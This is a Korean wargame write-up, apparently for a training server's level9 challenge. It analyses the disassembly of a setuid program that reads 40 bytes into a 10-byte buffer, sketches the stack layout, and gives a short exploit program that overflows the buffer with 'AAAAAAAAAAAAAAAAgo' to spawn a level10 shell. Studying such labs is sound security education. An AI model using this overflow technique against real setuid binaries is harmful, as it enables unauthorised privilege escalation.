============================================
hint
다음은 /usr/bin/bof의 소스 코드이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
이를 이용하여 level10의 권한을 얻어라.
============================================
/home/level9/tmp에 동일한 소스코드를 작성하여 빌드합니다.
가장 기초적인 bof 공격입니다. fgets가 40bytes를 받아들임을 이용해서 buf2까지 덮어 go를 넣도록 하는 방식일 듯 합니다..
정적 분석을 한 번 해 보기 위해서 어셈블리 코드를 살펴보도록 합시다.
0x08048420 <main+0>: push %ebp
0x08048421 <main+1>: mov %esp,%ebp
0x08048423 <main+3>: sub $0x28,%esp
스택프레임 생성 후 40바이트의 스택 크기 확보
0x08048426 <main+6>: and $0xfffffff0,%esp
i386 Linux 환경에서 gcc의 default option인 -mpreferred-stack-boundary=4 를 만족시키기 위해 0x10 아래의 값을 mod연산하여 align
(cache나 data를 load할 때 최적화를 위해서 해당 작업을 합니다.)
0x08048429 <main+9>: mov $0x0,%eax
0x0804842e <main+14>: sub %eax,%esp
status flag를 정리해 줍니다.
0x08048430 <main+16>: sub $0xc,%esp
0x08048433 <main+19>: push $0x8048554
0x08048438 <main+24>: call 0x8048350 <printf>
0x0804843d <main+29>: add $0x10,%esp
printf 함수를 호출합니다.
0x08048443 <main+35>: pushl 0x8049698
0x08048449 <main+41>: push $0x28
0x0804844b <main+43>: lea 0xffffffd8(%ebp),%eax
0x0804844e <main+46>: push %eax
0x0804844f <main+47>: call 0x8048320 <fgets>
0x08048454 <main+52>: add $0x10,%esp
0x8049698 (argument 위치 상, stdin을 나타내는 주소인 듯 합니다), 0x28(스택의 크기, 40), ebp + 0xffffffd8의 주소(buf)를 스택에 넣고 fgets를 호출합니다.(인자)
0x08048457 <main+55>: sub $0x4,%esp
0x0804845a <main+58>: push $0x2
0x0804845c <main+60>: push $0x804856a
0x08048461 <main+65>: lea 0xffffffe8(%ebp),%eax
0x08048464 <main+68>: push %eax
0x08048465 <main+69>: call 0x8048330 <strncmp>
0x0804846a <main+74>: add $0x10,%esp
strncmp를 호출하기 위해 인자를 넣어 줍니다. 0x2는 앞의 2바이트를 비교한다는 것이고, 0x804856a와 ebp+0xffffffe8은 각각 "go"와 buf2를 의미합니다.
0x0804846d <main+77>: test %eax,%eax
0x0804846f <main+79>: jne 0x80484a6 <main+134>
strncmp로 인해 반환값(eax)이 0으로 전달되면 문자열 2개가 동일한 것이므로, ZF가 1로 set됩니다. 0이 아니라면 ZF가 0으로 세팅됩니다.
(※ ZF는 연산 결과값이 0인 경우 1로 세팅됩니다. 같음을 나타내는 비트입니다.)
만약 여기서 "go"라는 문자열이 buf2의 맨 앞 2바이트를 차지하고 있다면, 0이 반환될 것이기 때문에 main+134로 넘어가지 않겠네요.
0x08048471 <main+81>: sub $0xc,%esp
0x08048474 <main+84>: push $0x804856d
0x08048479 <main+89>: call 0x8048350 <printf>
0x0804847e <main+94>: add $0x10,%esp
0x08048481 <main+97>: sub $0x8,%esp
0x08048484 <main+100>: push $0xbc2
0x08048489 <main+105>: push $0xbc2
0x0804848e <main+110>: call 0x8048360 <setreuid>
0x08048493 <main+115>: add $0x10,%esp
0x08048496 <main+118>: sub $0xc,%esp
0x08048499 <main+121>: push $0x804857a
0x0804849e <main+126>: call 0x8048310 <system>
0x080484a3 <main+131>: add $0x10,%esp
printf, setreuid, system 함수 부분입니다. 쉬운 어셈블리니 굳이 설명하진 않겠습니다.
0x080484a6 <main+134>: leave
0x080484a7 <main+135>: ret
leave, ret을 통해 스택 프레임을 닫고 이전으로 돌아갑니다.
main함수 전체를 정적분석해 보았습니다. 아마 취약한 부분이 보이실 겁니다. fgets의 버퍼 사이즈를 검증하는 라인이 어디에도 없습니다.
만약 fgets에 이용되는 검증되지 않은 stdin 버퍼의 값이 그대로 buf에 복사되고, 이로 인해 기존의 할당된 10바이트보다 더 많은 공간을 사용할 수 있다면?
일단 이를 확인해 보기 위해서는 스택의 상황을 확인할 필요가 있습니다. 정확히는 지역변수 설정이 된 부분을 확인해 봐야 할 것입니다.
처음에 스택을 40바이트나 확보합니다. 하지만, 우리는 4바이트의 RET, 4바이트의 Stack Frame Pointer, 그리고 10바이트씩의 buf, buf2만 필요합니다.
즉, 우리는 28바이트만 필요한데, 40바이트나 스택이 확보되는 것입니다. 왜 이러는 걸까요?
그 이유는 역시 최적화 문제에 있습니다. 16바이트로 변수 할당을 맞춰서 align을 맞춰 주는 것으로 접근 속도를 향상시킬 수 있기 때문입니다.
이는 gcc 옵션의 문제로, 위에서 언급한 -mpreferred-stack-boundary=4의 기본값을 가지기 때문인데, gcc 컴파일 시 해당 옵션을 2로 주면 더미가 생기지 않습니다.
스택의 상황을 대충 그려봅시다. 여기서 스택은 왼쪽으로 자란다고 생각하면 됩니다.
buf[10] 10byte | dummy 6byte | buf2[10] 10byte | dummy 6byte | Stack Frame Pointer 4 byte | RET 4 byte |
즉, buf, dummy에 16개의 A를 채우고, buf2의 첫 2바이트에 "go"를 채워 준다면 충분히 buf2에 go를 덮어 줄 수 있습니다.
익스플로잇을 위한 ex.c 코드
#include <stdio.h>
char buf[100];
int main(void)
{
char *dir = "/usr/bin/bof";
sprintf(buf,"(printf \"AAAAAAAAAAAAAAAAgo\"; cat) | %s", dir);
system(buf);
return 0;
}
실행 결과